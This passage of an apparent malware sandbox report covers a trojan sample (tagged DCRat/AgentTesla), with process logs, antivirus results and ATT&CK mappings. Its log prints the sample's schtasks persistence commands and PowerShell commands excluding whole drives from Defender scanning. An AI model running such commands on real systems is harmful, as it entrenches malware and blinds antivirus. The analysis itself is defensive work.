MINUTE /mo 13 /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00007884) Spawned process "schtasks.exe" with commandline "/create /tn "conhostc" /sc MINUTE /mo 7 /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /f" (UID: 00000000-00005184) Spawned process "schtasks.exe" with commandline "/create /tn "conhost" /sc ONLOGON /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /rl HIGHEST /f" (UID: 00000000-00008156) Spawned process "schtasks.exe" with commandline "/create /tn "conhostc" /sc MINUTE /mo 6 /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /rl HIGHEST /f" (UID: 00000000-00007480) Spawned process "schtasks.exe" with commandline "/create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /f" (UID: 00000000-00004000) Spawned process "schtasks.exe" with commandline "/create /tn "csrss" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /rl HIGHEST /f" (UID: 00000000-00002748) Spawned process "schtasks.exe" with commandline "/create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /rl HIGHEST /f" (UID: 00000000-00007768) Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 11 /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /f" (UID: 00000000-00007704) Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVC" /sc ONLOGON /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /rl HIGHEST /f" (UID: 00000000-00008148) Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 8 /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /rl HIGHEST /f" (UID: 00000000-00003792) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 8 /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /f" (UID: 00000000-00004296) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00004564) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 6 /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00003192) Spawned process "schtasks.exe" with commandline "/create /tn "serverDrivers" /sc MINUTE /mo 9 /tr "'C:\\msComwin\\serverDriver.exe'" /f" (UID: 00000000-00003092) Spawned process "schtasks.exe" with commandline "/create /tn "serverDriver" /sc ONLOGON /tr "'C:\\msComwin\\serverDriver.exe'" /rl HIGHEST /f" (UID: 00000000-00007988) Spawned process "schtasks.exe" with commandline "/create /tn "serverDrivers" /sc MINUTE /mo 13 /tr "'C:\\msComwin\\serverDriver.exe'" /rl HIGHEST /f" (UID: 00000000-00002840) Spawned process "OSPPSVC.exe" (UID: 00000000-00004796) Spawned process "csrss.exe" (UID: 00000000-00004892) Spawned process "serverDriver.exe" (UID: 00000000-00006872) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/'" (UID: 00000000-00001404) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'" (UID: 00000000-00007532) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WINDOWS.~BT/'" (UID: 00000000-00003016) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'" (UID: 00000000-00007788) Spawned process "AutoIt3_x64.exe" (UID: 00000000-00007020) Spawned process "conhost.exe" (UID: 00000000-00007160) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/found.000/'" (UID: 00000000-00005180) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/msComwin/'" (UID: 00000000-00002816) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'" (UID: 00000000-00004600) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'" (UID: 00000000-00006416) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\'" (UID: 00000000-00007940) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)/'" (UID: 00000000-00005064) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\\'" (UID: 00000000-00007520) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'" (UID: 00000000-00006996) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'" (UID: 00000000-00003700) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/tempdir/'" (UID: 00000000-00001236) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'" (UID: 00000000-00004056) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\'" (UID: 00000000-00005920) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" (UID: 00000000-00007452) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\System32\\wo-SN\\conhost.exe'" (UID: 00000000-00007176) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" (UID: 00000000-00005228) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" (UID: 00000000-00005812) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" (UID: 00000000-00003396) Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\msComwin\\serverDriver.exe'" (UID: 00000000-00003488) Spawned process "cmd.exe" with commandline "/C "%TEMP%\\hdvdfARUms.bat"" (UID: 00000000-00002712)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791778259707,"unified_at":"2026-10-12T04:10:59.707Z","metadata":{"hashes":{"sha256":"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","sha1":"40b6d4224504f1f0dfea827c8c853dce79a77287","md5":"33c53419f5450d013fd20a76468d43d2","sha512":"e202c49fe373e094e5b619de43e852e0e09edbb9ebda444be762c0b46939f843cf9cffa4f24726e46ac096135b0cdd1332aa0c386c1a4f9525a95910af682c14","ssdeep":"98304:ypcjyoyOglp/VanCJgUEIvX8jMrbL7589kE9PQqP:8s7glp/VaCJAIQs7m9kERQc","ssdeep_chunks":["98304:ypcjyoy","98304:pcjyoyO","98304:cjyoyOg","98304:jyoyOgl","98304:yoyOglp","98304:oyOglp/","98304:yOglp/V","98304:Oglp/Va","98304:glp/Van","98304:lp/VanC","98304:p/VanCJ","98304:/VanCJg","98304:VanCJgU","98304:anCJgUE","98304:nCJgUEI","98304:CJgUEIv","98304:JgUEIvX","98304:gUEIvX8","98304:UEIvX8j","98304:EIvX8jM","98304:IvX8jMr","98304:vX8jMrb","98304:X8jMrbL","98304:8jMrbL7","98304:jMrbL75","98304:MrbL758","98304:rbL7589","98304:bL7589k","98304:L7589kE","98304:7589kE9","98304:589kE9P","98304:89kE9PQ","98304:9kE9PQq","98304:kE9PQqP","196608:ypcjyoy","196608:pcjyoyO","196608:cjyoyOg","196608:jyoyOgl","196608:yoyOglp","196608:oyOglp/","196608:yOglp/V","196608:Oglp/Va","196608:glp/Van","196608:lp/VanC","196608:p/VanCJ","196608:/VanCJg","196608:VanCJgU","196608:anCJgUE","196608:nCJgUEI","196608:CJgUEIv","196608:JgUEIvX","196608:gUEIvX8","196608:UEIvX8j","196608:EIvX8jM","196608:IvX8jMr","196608:vX8jMrb","196608:X8jMrbL","196608:8jMrbL7","196608:jMrbL75","196608:MrbL758","196608:rbL7589","196608:bL7589k","196608:L7589kE","196608:7589kE9","196608:589kE9P","196608:89kE9PQ","196608:9kE9PQq","196608:kE9PQqP","98304:8s7glp/","98304:s7glp/V","98304:7glp/Va","98304:glp/VaC","98304:lp/VaCJ","98304:p/VaCJA","98304:/VaCJAI","98304:VaCJAIQ","98304:aCJAIQs","98304:CJAIQs7","98304:JAIQs7m","98304:AIQs7m9","98304:IQs7m9k","98304:Qs7m9kE","98304:s7m9kER","98304:7m9kERQ","98304:m9kERQc"],"imphash":"12e12319f1029ec4f8fcbed7e82df162"},"file_info":{"file_name":"bounty-11274888870579111","file_type":["peexe","executable","compressed","sfx","rar"],"file_type_id":"exe rar sfx","file_size":3866011,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1711558798000,"last_seen":1786190223000,"last_multi_scan":1786190223000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["dcrat","sabsik","evasive","agenttesla","spyloader","trojan"]},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":106},"sandbox_signatures":{"informative_count":278,"suspicious_count":26,"malicious_count":15,"total":319},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Kryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81053169;Trojan.Uztuby.17","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Uztuby-9855059-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Backdoor_MSIL_DCRat_rfn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81053169 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.xaoftl.cfsq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.oa!s1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-1b09bef6!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.VLL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic.81053169;Trojan.Uztuby","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains the ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature 